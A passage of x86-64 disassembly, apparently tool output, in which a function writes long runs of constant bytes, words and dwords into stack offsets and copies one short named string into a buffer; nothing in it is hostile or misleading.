mov dword [rsp + 0x38ac], 0x4b1c51cf
mov dword [rsp + 0x38b0], 0x2c1303c8
mov eax, 0x20e3
mov word [rsp + 0xc14], ax
mov byte [rsp + 0xc8], 0x2b
mov dword [rsp + 0x38b4], 0x136b4e08
mov eax, 0x6c
mov word [rsp + 0xc18], ax
mov byte [rsp + 0xc9], 0xcc
mov byte [rsp + 0xca], 0x4a
mov dword [rsp + 0x38b8], 0xc23ab89e
mov byte [rsp + 0xcb], 5
mov dword [rsp + 0x38bc], 0xfd711fcd
mov eax, 0x7e98
mov word [rsp + 0xc1c], ax
mov byte [rsp + 0xcc], 0x5c
mov byte [rsp + 0xcd], 0x36
mov dword [rsp + 0x38c0], 0xef9eb4ca
mov eax, 0x7ab
mov word [rsp + 0xc20], ax
mov dword [rsp + 0x38c4], 0xe72babb9
mov dword [rsp + 0x38c8], 0x2ee57883
mov dword [rsp + 0x38cc], 0x35c50738
mov dword [rsp + 0x38d0], 0x6e46e572
mov dword [rsp + 0x38d4], 0xad04e866
mov eax, 0x1be1
mov word [rsp + 0xc24], ax
mov dword [rsp + 0x38d8], 0xe0b1979
mov eax, 0xd
mov word [rsp + 0xc28], ax
mov eax, 0xbe2
mov word [rsp + 0xc2c], ax
mov byte [rsp + 0xce], 0xd4
mov eax, 0x29b
mov word [rsp + 0xc30], ax
mov dword [rsp + 0x38dc], 0x187a4874
mov dword [rsp + 0x38e0], 0x1aa43be8
mov eax, 0xedb
mov word [rsp + 0xc34], ax
mov dword [rsp + 0x38e4], 0x3c4bbb78
mov dword [rsp + 0x38e8], 0x33db5168
mov eax, 0xd86
mov word [rsp + 0xc38], ax
mov eax, 0x5c7
mov word [rsp + 0xc3c], ax
mov dword [rsp + 0x38ec], 0x34b61410
mov eax, 0x785
mov word [rsp + 0xc40], ax
mov byte [rsp + 0xcf], 0x5d
mov dword [rsp + 0x38f0], 0x58ac69cc
mov dword [rsp + 0x38f4], 0x45123b0c
mov dword [rsp + 0x38f8], 0x2238a4d0
mov dword [rsp + 0x38fc], 0x89e1b6c1
mov dword [rsp + 0x3900], 0xc036fee
mov byte [rsp + 0xd0], 0x21
mov byte [rsp + 0xd1], 0x17
mov dword [rsp + 0x3904], 0xfcde6cf2
mov dword [rsp + 0x3908], 0x545b52e6
mov dword [rsp + 0x390c], 0x11d81073
mov dword [rsp + 0x3910], 0x65308b8c
mov byte [rsp + 0xd2], 0x39
mov byte [rsp + 0xd3], 0x6f
mov dword [rsp + 0x3914], 0x70673c20
mov eax, 0x2870
mov word [rsp + 0xc44], ax
mov byte [rsp + 0xd4], 0x4b
mov dword [rsp + 0x3918], 0x3a202b9
mov eax, 0x18a0
mov word [rsp + 0xc48], ax
mov dword [rsp + 0x391c], 0x716aa89
mov eax, 0x838
mov word [rsp + 0xc4c], ax
mov dword [rsp + 0x3920], 0x896821b8
mov byte [rsp + 0xd5], 0x67
mov dword [rsp + 0x3924], 0x1306a45d
mov dword [rsp + 0x3928], 0x3086b6fe
mov eax, 0x9c1
mov word [rsp + 0xc50], ax
mov dword [rsp + 0x392c], 0xa7f4143
mov dword [rsp + 0x3930], 0xf6d5aa32
mov dword [rsp + 0x3934], 0x6b4df4f6
mov eax, 0xfd4
mov word [rsp + 0xc54], ax
mov dword [rsp + 0x3938], 0x1a469caf
mov eax, 0x72e
mov word [rsp + 0xc58], ax
mov byte [rsp + 0xd6], 0x73
mov dword [rsp + 0x393c], 0x192f0846
mov dword [rsp + 0x3940], 0x2b89f1b9
mov dword [rsp + 0x3944], 0xe484eeab
mov eax, 0x7f6
mov word [rsp + 0xc5c], ax
mov dword [rsp + 0x3948], 0x389427cc
mov dword [rsp + 0x394c], 0xeb80db78
mov eax, 0x73a4
mov word [rsp + 0xc60], ax
mov eax, 0x1d8
mov word [rsp + 0xc64], ax
mov dword [rsp + 0x3950], 0x7274371e
mov dword [rsp + 0x3954], 0xd49d4ca6
mov eax, 0x574
mov word [rsp + 0xc68], ax
mov eax, 0x194
mov word [rsp + 0xc6c], ax
mov byte [rsp + 0xd7], 0x73
mov eax, 0x73e
mov word [rsp + 0xc70], ax
mov byte [rsp + 0xd8], 0xfe
mov byte [rsp + 0xd9], 0x87
mov dword [rsp + 0x3958], 0x5bada0d0
mov dword [rsp + 0x395c], 0xc8990f5
mov dword [rsp + 0x3960], 0x5d387147
mov eax, 0xe35
mov word [rsp + 0xc74], ax
mov dword [rsp + 0x3964], 0x4dcaf6f4
mov eax, 0x7d54
mov word [rsp + 0xc78], ax
mov dword [rsp + 0x3968], 0x6d02c476
mov dword [rsp + 0x396c], 0x245679b7
mov dword [rsp + 0x3970], 0xb49b12b8
mov byte [rsp + 0xda], 0xf7
mov byte [rsp + 0xdb], 0xfb
mov eax, 0xc0f
mov word [rsp + 0xc7c], ax
mov byte [rsp + 0xdc], 0x22
mov eax, 0xa81
mov word [rsp + 0xc80], ax
mov byte [rsp + 0xdd], 0xb2
mov byte [rsp + 0xde], 0x15
mov dword [rsp + 0x3974], 0xcd10105
mov dword [rsp + 0x3978], 0x1845b328
mov eax, 0x743b
mov word [rsp + 0xc84], ax
mov dword [rsp + 0x397c], 0x37f1e5fa
mov eax, 0xf83
mov word [rsp + 0xc88], ax
mov dword [rsp + 0x3980], 0x89c49280
mov eax, 0xd44
mov word [rsp + 0xc8c], ax
mov dword [rsp + 0x3984], 0x625267a1
mov dword [rsp + 0x3988], 0xa8ac0b9
mov eax, 0x93d
mov word [rsp + 0xc90], ax
mov dword [rsp + 0x398c], 0x2387c140
mov dword [rsp + 0x3990], 0x4aa3c225
mov dword [rsp + 0x3994], 0xaa245db3
mov dword [rsp + 0x3998], 0x2e08fe
mov dword [rsp + 0x399c], 0x7a752b1d
mov dword [rsp + 0x39a0], 0x1f65133b
mov dword [rsp + 0x39a4], 0x73204eb
lea rax, [rsp + 0x1f678]
lea rcx, str.inspirations
mov rdi, rax
mov rsi, rcx
mov ecx, 0xd
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x39a8], 0x60687d99
mov eax, 0x1a96
mov word [rsp + 0xc94], ax
mov dword [rsp + 0x39ac], 0x5f9ec44f
mov dword [rsp + 0x39b0], 0x6441ca3e
mov dword [rsp + 0x39b4], 0x5eb8f337
mov byte [rsp + 0xdf], 0xc6
mov dword [rsp + 0x39b8], 0x308f543a
mov eax, 0x7b74
mov word [rsp + 0xc98], ax
mov byte [rsp + 0xe0], 0xbd
mov dword [rsp + 0x39bc], 0x2b3e71b2
mov dword [rsp + 0x39c0], 0xce0b7da6
mov eax, 0xd94
mov word [rsp + 0xc9c], ax
mov dword [rsp + 0x39c4], 0x51393966
mov dword [rsp + 0x39c8], 0xda246fb
mov dword [rsp + 0x39cc], 0x3111f53f
mov dword [rsp + 0x39d0], 0x172720d
mov byte [rsp + 0xe1], pe_nt_image_headers64
mov dword [rsp + 0x39d4], 0x30e7e030
mov byte [rsp + 0xe2], 0x77
mov dword [rsp + 0x39d8], 0x33cb0a89
mov dword [rsp + 0x39dc], 0x355270ce
mov eax, 0x5f7
mov word [rsp + 0xca0], ax
mov byte [rsp + 0xe3], 0xe6
mov dword [rsp + 0x39e0], 0x6d17f10
mov eax, 0x2cb
mov word [rsp + 0xca4], ax
mov eax, 0x33e4
mov word [rsp + 0xca8], ax
mov dword [rsp + 0x39e4], 0x4f47926c
mov dword [rsp + 0x39e8], 0x3c4cd2d5
mov byte [rsp + 0xe4], 0x15
mov byte [rsp + 0xe5], 0xf3
mov eax, 0xe5a
mov word [rsp + 0xcac], ax
mov dword [rsp + 0x39ec], 0x28fc7bee
mov dword [rsp + 0x39f0], 0x20101bc7
mov dword [rsp + 0x39f4], 0x37defea9
mov dword [rsp + 0x39f8], 0x8f2ffaab
mov dword [rsp + 0x39fc], 0x843eb7d
mov dword [rsp + 0x3a00], 0x3c402ba5
mov dword [rsp + 0x3a04], 0x6743eec3
mov dword [rsp + 0x3a08], 0x2552d399
mov dword [rsp + 0x3a0c], 0x75521a38
mov dword [rsp + 0x3a10], 0x1c8352b0
mov byte [rsp + 0xe6], 0x49
mov byte [rsp + 0xe7], 0x74
mov eax, 0x5bc9
mov word [rsp + 0xcb0], ax
mov dword [rsp + 0x3a14], 0x420b882
mov eax, 0x2f8e
mov word [rsp + 0xcb4], ax
mov eax, 0xd54
mov word [rsp + 0xcb8], ax
mov byte [rsp + 0xe8], 0xa0
mov dword [rsp + 0x3a18], 0xce954ea9
mov dword [rsp + 0x3a1c], 0x24cc629
mov dword [rsp + 0x3a20], 0x5e2ef42c
mov dword [rsp + 0x3a24], 0x461d1af2
mov eax, 0x6543
mov word [rsp + 0xcbc], ax
mov dword [rsp + 0x3a28], 0x8accc4b
mov dword [rsp + 0x3a2c], 0x1682e52b
mov eax, 0x362
mov word [rsp + 0xcc0], ax
mov dword [rsp + 0x3a30], 0x15bea06b
mov dword [rsp + 0x3a34], 0x482ea3cb
mov dword [rsp + 0x3a38], 0x51376e43
mov eax, 0x62a
mov word [rsp + 0xcc4], ax
mov eax, 0x3bd
mov word [rsp + 0xcc8], ax
mov byte [rsp + 0xe9], 0x6b
mov eax, 0x9ab
mov word [rsp + 0xccc], ax
mov eax, 0xe9a
mov word [rsp + 0xcd0], ax
mov dword [rsp + 0x3a3c], 0x7d553926
mov dword [rsp + 0x3a40], 0x1941db1d
mov byte [rsp + 0xea], 0x1a
mov eax, 0xbd2
mov word [rsp + 0xcd4], ax
mov dword [rsp + 0x3a44], 0x93425a7
mov eax, 0xf6d
mov word [rsp + 0xcd8], ax
mov dword [rsp + 0x3a48], 0x6b61e14
mov dword [rsp + 0x3a4c], 0x6d3e2ae3
mov eax, 0x5b4
mov word [rsp + 0xcdc], ax
mov dword [rsp + 0x3a50], 0x4c1d54a
mov dword [rsp + 0x3a54], 0xa1ca525b
mov dword [rsp + 0x3a58], 0x5e4d17bd
mov dword [rsp + 0x3a5c], 0xb497e20f
mov byte [rsp + 0xeb], 0xa7
mov dword [rsp + 0x3a60], 0x1464f6b9
mov eax, 0x4a
mov word [rsp + 0xce0], ax
mov dword [rsp + 0x3a64], 0x24cf0d82
mov dword [rsp + 0x3a68], 0x26bec217
mov eax, 0x54a
mov word [rsp + 0xce4], ax
mov dword [rsp + 0x3a6c], 0x7de24296
mov dword [rsp + 0x3a70], 0xdb8ed73
mov dword [rsp + 0x3a74], 0x2e492df2
mov dword [rsp + 0x3a78], 0x4d56fa96
mov dword [rsp + 0x3a7c], 0x1c2abbd
mov byte [rsp + 0xec], 0x8b
mov dword [rsp + 0x3a80], 0x5b65ca27
mov eax, 0x7239
mov word [rsp + 0xce8], ax
mov dword [rsp + 0x3a84], 0x66e05d74
mov dword [rsp + 0x3a88], 0x1267d446
mov byte [rsp + 0xed], 0x29
mov dword [rsp + 0x3a8c], 0xa1bcee9
mov eax, 0x6f0
mov word [rsp + 0xcec], ax
mov dword [rsp + 0x3a90], 0x42ecb30a
mov dword [rsp + 0x3a94], 0x10095b0d
mov dword [rsp + 0x3a98], 0x2e8263b7
mov eax, 0x17
mov word [rsp + 0xcf0], ax
mov dword [rsp + 0x3a9c], 0x645d7dcf
mov dword [rsp + 0x3aa0], 0xff12100d
mov dword [rsp + 0x3aa4], 0x52e8d8cc
mov eax, 0xd19
mov word [rsp + 0xcf4], ax
mov dword [rsp + 0x3aa8], 0x5b002b
mov dword [rsp + 0x3aac], 0x697bfe19
mov dword [rsp + 0x3ab0], 0x1d97b095
mov dword [rsp + 0x3ab4], 0x58a86ead
mov dword [rsp + 0x3ab8], 0x3ee19921
mov eax, 0x9b2
mov word [rsp + 0xcf8], ax
mov byte [rsp + 0xee], 0xc7
mov dword [rsp + 0x3abc], 0x213d68c4
mov eax, 0xb06
mov word [rsp + 0xcfc], ax
mov dword [rsp + 0x3ac0], 0x451fe60d
mov eax, 0x2c54
mov word [rsp + 0xd00], ax
mov dword [rsp + 0x3ac4], 0xb72f7a17
mov dword [rsp + 0x3ac8], 0x4d96da1f
mov dword [rsp + 0x3acc], 0x918ec8e1
mov dword [rsp + 0x3ad0], 0x7d4a6d67
mov eax, 0x59a
mov word [rsp + 0xd04], ax
mov dword [rsp + 0x3ad4], 0x5281c9b2
mov dword [rsp + 0x3ad8], 0x6dd4a08a
mov eax, 0xe9
mov word [rsp + 0xd08], ax
mov byte [rsp + 0xef], 0x33
mov byte [rsp + 0xf0], 0x7b
mov dword [rsp + 0x3adc], 0x3a52a70f
mov dword [rsp + 0x3ae0], 0xbd9377f7
mov dword [rsp + 0x3ae4], 0xe82967da
mov eax, 0xac1
mov word [rsp + 0xd0c], ax
mov byte [rsp + 0xf1], 0x2a
mov dword [rsp + 0x3ae8], 0xe596e7ca
mov byte [rsp + 0xf2], 0xd2
mov dword [rsp + 0x3aec], 0xf8ff86f
mov dword [rsp + 0x3af0], 0x2a1c32c8
mov dword [rsp + 0x3af4], 0x43d3efca
mov eax, 0x31e7
mov word [rsp + 0xd10], ax
mov dword [rsp + 0x3af8], 0x26bd5f9d
mov dword [rsp + 0x3afc], 0x3d895965
mov byte [rsp + 0xf3], 0x60
mov eax, 0x271
mov word [rsp + 0xd14], ax
mov dword [rsp + 0x3b00], 0x4f77fd18
mov dword [rsp + 0x3b04], 0x91c2db4
mov dword [rsp + 0x3b08], 0x111f3855
mov dword [rsp + 0x3b0c], 0xac6158e7
mov eax, 0x685
mov word [rsp + 0xd18], ax
mov byte [rsp + 0xf4], 0x95
mov dword [rsp + 0x3b10], 0x710199a4
mov eax, 0x11c
mov word [rsp + 0xd1c], ax
mov eax, 0x96a
mov word [rsp + 0xd20], ax
mov dword [rsp + 0x3b14], 0xb486e585
mov dword [rsp + 0x3b18], 0x597cf5a0
mov byte [rsp + 0xf5], 0xe3
mov dword [rsp + 0x3b1c], 0x7f092bce
mov dword [rsp + 0x3b20], 0xbfd5214f
mov eax, 0xb0e
mov word [rsp + 0xd24], ax
mov byte [rsp + 0xf6], 0x4f
mov eax, 0x6633
mov word [rsp + 0xd28], ax
mov byte [rsp + 0xf7], 0x44
mov dword [rsp + 0x3b24], 0xcb1d2b45
mov dword [rsp + 0x3b28], 0xeb1eab5a
mov dword [rsp + 0x3b2c], 0x42ff6d19
mov byte [rsp + 0xf8], 0x5f
mov byte [rsp + 0xf9], 0x32
mov dword [rsp + 0x3b30], 0x6a91aa5d
mov dword [rsp + 0x3b34], 0x6ef3ef91
mov dword [rsp + 0x3b38], 0x4abd06c6
mov dword [rsp + 0x3b3c], 0x15945d3b
mov dword [rsp + 0x3b40], 0x6520f25a
mov eax, 0x1de
mov word [rsp + 0xd2c], ax
mov byte [rsp + 0xfa], 0x33
mov dword [rsp + 0x3b44], 0x72db3c15
mov dword [rsp + 0x3b48], 0x4bec7e4b
mov dword [rsp + 0x3b4c], 0x435f4306
mov byte [rsp + 0xfb], 0x97
mov eax, 0x252
mov word [rsp + 0xd30], ax
mov dword [rsp + 0x3b50], 0x6302747c
mov dword [rsp + 0x3b54], 0x69db42d6
mov dword [rsp + 0x3b58], 0x526c022b
mov dword [rsp + 0x3b5c], 0xe801aebe
mov dword [rsp + 0x3b60], 0x238fbbfc
mov dword [rsp + 0x3b64], 0x702882ec
mov eax, 0xf54
mov word [rsp + 0xd34], ax
mov byte [rsp + 0xfc], 0xf8
mov dword [rsp + 0x3b68], 0x38d676f7
mov eax, 0x981
mov word [rsp + 0xd38], ax
mov eax, 0x2ab
mov word [rsp + 0xd3c], ax
mov dword [rsp + 0x3b6c], 0x294e373c
mov byte [rsp + 0xfd], 0x5c
mov dword [rsp + 0x3b70], 0xb232ca1d
mov dword [rsp + 0x3b74], 0x7b35d115
mov dword [rsp + 0x3b78], 0x7ed4c653
mov dword [rsp + 0x3b7c], 0x1ee0727a
mov byte [rsp + 0xfe], 0x22
mov eax, 0xdec
mov word [rsp + 0xd40], ax
mov dword [rsp + 0x3b80], 0x6a63f261
mov dword [rsp + 0x3b84], 0x5928a2ea
mov byte [rsp + 0xff], 0x6d
mov byte [rsp + 0x100], 0x49
mov dword [rsp + 0x3b88], 0x7e5b4657
mov dword [rsp + 0x3b8c], 0x6d20655d
mov dword [rsp + 0x3b90], 0x66c5cf0f
mov eax, 0x3d7d
mov word [rsp + 0xd44], ax
mov eax, 0x42a9
mov word [rsp + 0xd48], ax
mov byte [rsp + 0x101], 0x5d
mov dword [rsp + 0x3b94], 0x5e080888
mov byte [rsp + 0x102], 0xea
mov dword [rsp + 0x3b98], 0x219def4
mov eax, 0x9f8
mov word [rsp + 0xd4c], ax
mov dword [rsp + 0x3b9c], 0x35d607bb
mov byte [rsp + 0x103], 0x7b
mov byte [rsp + 0x104], 0xaa
mov dword [rsp + 0x3ba0], 0x11e99664
mov eax, 0x414
mov word [rsp + 0xd50], ax
mov dword [rsp + 0x3ba4], 0xcc2ea009
mov dword [rsp + 0x3ba8], 0x11aebe9f
mov eax, 0x17a
mov word [rsp + 0xd54], ax
mov dword [rsp + 0x3bac], 0xd99bbaa9
mov eax, 0x51a
mov word [rsp + 0xd58], ax
mov dword [rsp + 0x3bb0], 0x88091113
mov byte [rsp + 0x105], 0x35
mov eax, 0x328
mov word [rsp + 0xd5c], ax
mov byte [rsp + 0x106], 0x58
mov dword [rsp + 0x3bb4], 0x4808badc
mov dword [rsp + 0x3bb8], 0x561d152e
mov dword [rsp + 0x3bbc], 0x54e8492
mov dword [rsp + 0x3bc0], 0x60853692
mov dword [rsp + 0x3bc4], 0x232b6bce
mov dword [rsp + 0x3bc8], 0x1f1a3e83
mov dword [rsp + 0x3bcc], 0x1c63b8ee
mov dword [rsp + 0x3bd0], 0x2a878f53
mov dword [rsp + 0x3bd4], 0x174e94ab
mov dword [rsp + 0x3bd8], 0x475a1f7f
mov dword [rsp + 0x3bdc], 0x4750c944
mov byte [rsp + 0x107], 0x50
mov eax, 0x7b7c
mov word [rsp + 0xd60], ax
mov dword [rsp + 0x3be0], 0x4d8fc3d5
mov eax, 0x540
mov word [rsp + 0xd64], ax
mov dword [rsp + 0x3be4], 0x67c7fb28
mov dword [rsp + 0x3be8], 0xdc3e22d
mov dword [rsp + 0x3bec], 0x1ad25e12
mov byte [rsp + 0x108], 0xa8
mov dword [rsp + 0x3bf0], 0x432afbd3
mov eax, 0x5c3
mov word [rsp + 0xd68], ax
mov dword [rsp + 0x3bf4], 0x22985205
mov dword [rsp + 0x3bf8], 0x354eb55a
mov dword [rsp + 0x3bfc], 0xebd0233f
mov byte [rsp + 0x109], 0xe0
mov dword [rsp + 0x3c00], 0x74c0d0e9
mov dword [rsp + 0x3c04], 0x16def891
mov dword [rsp + 0x3c08], 0x58bddb13
mov dword [rsp + 0x3c0c], 0x67f97590
mov eax, 0x153
mov word [rsp + 0xd6c], ax
mov dword [rsp + 0x3c10], 0xfcd6879d
mov dword [rsp + 0x3c14], 0x9bf53f77
mov dword [rsp + 0x3c18], 0x6b342552
mov byte [rsp + 0x10a], 0x4c
mov eax, 0x357
mov word [rsp + 0xd70], ax
mov dword [rsp + 0x3c1c], 0x291f66f4
mov dword [rsp + 0x3c20], 0x2e9fddb2
mov dword [rsp + 0x3c24], 0x1db9e008
mov dword [rsp + 0x3c28], 0x7a266c1a
mov eax, 0x7af
mov word [rsp + 0xd74], ax
mov eax, 0x9f8
mov word [rsp + 0xd78], ax
mov dword [rsp + 0x3c2c], 0xc960383b
mov dword [rsp + 0x3c30], 0xe0c5a89b
mov dword [rsp + 0x3c34], 0x27faad3e
mov dword [rsp + 0x3c38], 0x7944e6e8
mov dword [rsp + 0x3c3c], 0x74b29bea
mov eax, 0xd6a
mov word [rsp + 0xd7c], ax
mov dword [rsp + 0x3c40], 0x11d3b15
mov byte [rsp + 0x10b], 0x3f
mov eax, 0x15e
mov word [rsp + 0xd80], ax
mov eax, 0x759d
mov word [rsp + 0xd84], ax
mov dword [rsp + 0x3c44], 0x1e7c12e3
mov dword [rsp + 0x3c48], 0x1bdeeb98
mov byte [rsp + 0x10c], 0x72
mov dword [rsp + 0x3c4c], 0xc7ea51ba
mov dword [rsp + 0x3c50], 0x2e13587a
mov byte [rsp + 0x10d], 0xfb
mov eax, 0xcca
mov word [rsp + 0xd88], ax
mov dword [rsp + 0x3c54], 0xb503c284
mov eax, 0x480
mov word [rsp + 0xd8c], ax
mov eax, 0x29b7
mov word [rsp + 0xd90], ax
mov eax, 0x3cc3
mov word [rsp + 0xd94], ax
mov byte [rsp + 0x10e], 0xc8
mov byte [rsp + 0x10f], 0xfb
mov dword [rsp + 0x3c58], 0x142bcfcd
mov dword [rsp + 0x3c5c], 0x54941bc
mov dword [rsp + 0x3c60], 0xe486f62c
mov dword [rsp + 0x3c64], 0x3bf0df59
mov eax, 0xb0a
mov word [rsp + 0xd98], ax
mov dword [rsp + 0x3c68], 0xa743d6a6
mov dword [rsp + 0x3c6c], 0xa5003921
mov byte [rsp + 0x110], 0x74
mov dword [rsp + 0x3c70], 0x550dbd9
mov byte [rsp + 0x111], 0x67
mov dword [rsp + 0x3c74], 0x5410322
mov eax, 0x15c
mov word [rsp + 0xd9c], ax
mov eax, 0x54a
mov word [rsp + 0xda0], ax
mov dword [rsp + 0x3c78], 0x2ec864f7
mov byte [rsp + 0x112], 0x95
mov dword [rsp + 0x3c7c], 0x530a0450
mov dword [rsp + 0x3c80], 0x7007f541
mov byte [rsp + 0x113], 0x11
mov eax, 0x7768
mov word [rsp + 0xda4], ax
mov dword [rsp + 0x3c84], 0x81244c44
mov dword [rsp + 0x3c88], 0x3bb4e0a3
mov dword [rsp + 0x3c8c], 0x5be8960a
mov eax, 0xf15
mov word [rsp + 0xda8], ax
mov dword [rsp + 0x3c90], 0x753f0707
mov dword [rsp + 0x3c94], 0x5dbde6f7
mov byte [rsp + 0x114], 0x87
mov byte [rsp + 0x115], 0xda
mov eax, 0x838
mov word [rsp + 0xdac], ax
mov byte [rsp + 0x116], 0xa0
mov byte [rsp + 0x117], 9
mov dword [rsp + 0x3c98], 0x51cd3dc6
mov byte [rsp + 0x118], 0xb6
mov dword [rsp + 0x3c9c], 0x4ff45619
mov dword [rsp + 0x3ca0], 0x144198f7
mov byte [rsp + 0x119], 0x93
mov eax, 0x5f48
mov word [rsp + 0xdb0], ax
mov byte [rsp + 0x11a], 0x4c
mov dword [rsp + 0x3ca4], 0xf54825bf
mov dword [rsp + 0x3ca8], 0xa740e5e9
mov dword [rsp + 0x3cac], 0x4e3999d2
mov eax, 0x1e
mov word [rsp + 0xdb4], ax
mov eax, 0xdab
mov word [rsp + 0xdb8], ax
mov eax, 0xd
mov word [rsp + 0xdbc], ax
mov dword [rsp + 0x3cb0], 0x5988ebe1
mov dword [rsp + 0x3cb4], 0x5cd1f1a0
mov dword [rsp + 0x3cb8], 0x3443e9f2
mov eax, 0x78d
mov word [rsp + 0xdc0], ax
mov dword [rsp + 0x3cbc], 0x1d6a58e6
mov eax, 0x523
mov word [rsp + 0xdc4], ax
mov byte [rsp + 0x11b], 0x66
mov byte [rsp + 0x11c], 0x49
mov byte [rsp + 0x11d], 0x37
mov dword [rsp + 0x3cc0], 0x491b4856
mov eax, 0xcf6
mov word [rsp + 0xdc8], ax
mov dword [rsp + 0x3cc4], 0xf14d09ea
mov dword [rsp + 0x3cc8], 0x24c3e790
mov byte [rsp + 0x11e], 4
mov byte [rsp + 0x11f], 0x48
mov eax, 0x5f4
mov word [rsp + 0xdcc], ax
mov dword [rsp + 0x3ccc], 0x8b2929ad
mov dword [rsp + 0x3cd0], 0x7129426f
mov dword [rsp + 0x3cd4], 0x27f6d46a
mov eax, 0x653
mov word [rsp + 0xdd0], ax
mov dword [rsp + 0x3cd8], 0x6ad29b21
mov dword [rsp + 0x3cdc], 0xd6d4f9ea
mov dword [rsp + 0x3ce0], 0x6bb18488
mov dword [rsp + 0x3ce4], 0x3724d3f9
mov dword [rsp + 0x3ce8], 0x6609724f
mov dword [rsp + 0x3cec], 0x4d83d5bb
mov dword [rsp + 0x3cf0], 0x722110ca
mov byte [rsp + 0x120], 0x89
mov dword [rsp + 0x3cf4], 0x57826ecc
mov byte [rsp + 0x121], 0x73
mov dword [rsp + 0x3cf8], 0xfc826386
mov dword [rsp + 0x3cfc], 0x140892f7
mov dword [rsp + 0x3d00], 0x51aa4d3b
mov dword [rsp + 0x3d04], 0x3b39862b
mov dword [rsp + 0x3d08], 0xe73c76d
mov byte [rsp + 0x122], 8
mov eax, 0x3e2
mov word [rsp + 0xdd4], ax
mov eax, 0x33f
mov word [rsp + 0xdd8], ax
mov dword [rsp + 0x3d0c], 0x34c2def3
mov dword [rsp + 0x3d10], 0x5cc3525
mov eax, 0x5a75
mov word [rsp + 0xddc], ax
mov eax, 0xd4d
mov word [rsp + 0xde0], ax
mov dword [rsp + 0x3d14], 0x744770f4
mov byte [rsp + 0x123], 0x76
mov byte [rsp + 0x124], 0xc5
mov dword [rsp + 0x3d18], 0xe3bb79ab
mov dword [rsp + 0x3d1c], 0x7209b15
mov dword [rsp + 0x3d20], 0x2718dac0
mov eax, 0xbeb
mov word [rsp + 0xde4], ax
mov dword [rsp + 0x3d24], 0x5f1efc65
mov dword [rsp + 0x3d28], 0x3dde4dd0
mov dword [rsp + 0x3d2c], 0xa98aa023
mov dword [rsp + 0x3d30], 0x16161f4c
mov eax, 0x750
mov word [rsp + 0xde8], ax
mov byte [rsp + 0x125], 0x2e
mov eax, 0x43
mov word [rsp + 0xdec], ax
mov byte [rsp + 0x126], 0x75
mov dword [rsp + 0x3d34], 0xdf56cfa
mov dword [rsp + 0x3d38], 0x660ab9a4
mov dword [rsp + 0x3d3c], 0xdbaa8bc4
mov eax, 0x254
mov word [rsp + 0xdf0], ax
mov dword [rsp + 0x3d40], 0x1ad51eb9
mov dword [rsp + 0x3d44], 0x3ec103b5
mov dword [rsp + 0x3d48], 0xd1d28d3b
mov byte [rsp + 0x127], 0x66
mov dword [rsp + 0x3d4c], 0xb7d7f27a
mov eax, 0xa83
mov word [rsp + 0xdf4], ax
mov eax, 0x1a6
mov word [rsp + 0xdf8], ax
mov byte [rsp + 0x128], 0
mov dword [rsp + 0x3d50], 0x53f0c688
mov dword [rsp + 0x3d54], 0xd5a207d7
mov dword [rsp + 0x3d58], 0x3924ba88
mov dword [rsp + 0x3d5c], 0x1f33fa45
mov dword [rsp + 0x3d60], 0xc3a54dfb
mov eax, 0xbc0
mov word [rsp + 0xdfc], ax
mov dword [rsp + 0x3d64], 0x15a5ef77
mov eax, 0xb12
mov word [rsp + 0xe00], ax
mov eax, 0x1138
mov word [rsp + 0xe04], ax
mov dword [rsp + 0x3d68], 0x52291397
mov dword [rsp + 0x3d6c], 0xa7a14f1
mov byte [rsp + 0x129], 0x20
mov dword [rsp + 0x3d70], 0x5621474a
mov dword [rsp + 0x3d74], 0x359f8c9e
mov dword [rsp + 0x3d78], 0x908e6ba3
mov dword [rsp + 0x3d7c], 0x321f2e27
mov byte [rsp + 0x12a], 0x64
mov dword [rsp + 0x3d80], 0x740624b3
mov eax, 0xaea
mov word [rsp + 0xe08], ax
mov dword [rsp + 0x3d84], 0x262278fa
mov dword [rsp + 0x3d88], 0x313f1c8b
mov dword [rsp + 0x3d8c], 0x6090b814
mov dword [rsp + 0x3d90], 0x3c80e4ca
mov eax, 0x65fc
mov word [rsp + 0xe0c], ax
mov dword [rsp + 0x3d94], 0x7774dcb9
mov dword [rsp + 0x3d98], 0x44a47f53
mov byte [rsp + 0x12b], 0xdf
mov dword [rsp + 0x3d9c], 0x5474111b
mov dword [rsp + 0x3da0], 0x8f12c64f
mov byte [rsp + 0x12c], 0x1d
mov dword [rsp + 0x3da4], 0x6ba6464e
mov dword [rsp + 0x3da8], 0xd5ffb09a
mov byte [rsp + 0x12d], 0x3c
mov dword [rsp + 0x3dac], 0x55c558bf
mov dword [rsp + 0x3db0], 0x4eb88724
mov dword [rsp + 0x3db4], 0x3eef940c
mov dword [rsp + 0x3db8], 0x654dc8ea
mov dword [rsp + 0x3dbc], 0x277cad4d
mov eax, 0x5b63
mov word [rsp + 0xe10], ax
mov dword [rsp + 0x3dc0], 0x71865eb7
mov dword [rsp + 0x3dc4], 0xc6939b0
mov byte [rsp + 0x12e], 0xd1
mov dword [rsp + 0x3dc8], 0x1da5efa2
mov byte [rsp + 0x12f], 0x40
mov eax, 0x3c8
mov word [rsp + 0xe14], ax
mov dword [rsp + 0x3dcc], 0xb77222
mov eax, 0xf85
mov word [rsp + 0xe18], ax
mov dword [rsp + 0x3dd0], 0xe5a2a5ac
mov dword [rsp + 0x3dd4], 0x4ab4d7ba
mov dword [rsp + 0x3dd8], 0x21b33c3d
mov eax, 0xf39
mov word [rsp + 0xe1c], ax
mov dword [rsp + 0x3ddc], 0x24f0c247
mov dword [rsp + 0x3de0], 0x6cc020c1
mov dword [rsp + 0x3de4], 0x28087cb0
mov byte [rsp + 0x130], 0xef
mov dword [rsp + 0x3de8], 0x6133f62c
mov eax, 0xecd
mov word [rsp + 0xe20], ax
mov dword [rsp + 0x3dec], 0x4f5fb876
mov eax, 0x2a5
mov word [rsp + 0xe24], ax
mov dword [rsp + 0x3df0], 0xb2d9a205
mov dword [rsp + 0x3df4], 0xf2683952
mov dword [rsp + 0x3df8], 0x17d910c0
mov byte [rsp + 0x131], 0x55
mov byte [rsp + 0x132], 0x5f
mov eax, 0x4a5
mov word [rsp + 0xe28], ax
mov dword [rsp + 0x3dfc], 0x2afe8c31
mov eax, 0xca0
mov word [rsp + 0xe2c], ax
mov byte [rsp + 0x133], 0x46
mov dword [rsp + 0x3e00], 0x40d5607e
mov dword [rsp + 0x3e04], 0x51562776
mov dword [rsp + 0x3e08], 0x57bfad1b
mov dword [rsp + 0x3e0c], 0xa8bf9ec3
mov dword [rsp + 0x3e10], 0x199da054
mov dword [rsp + 0x3e14], 0x200a11f3
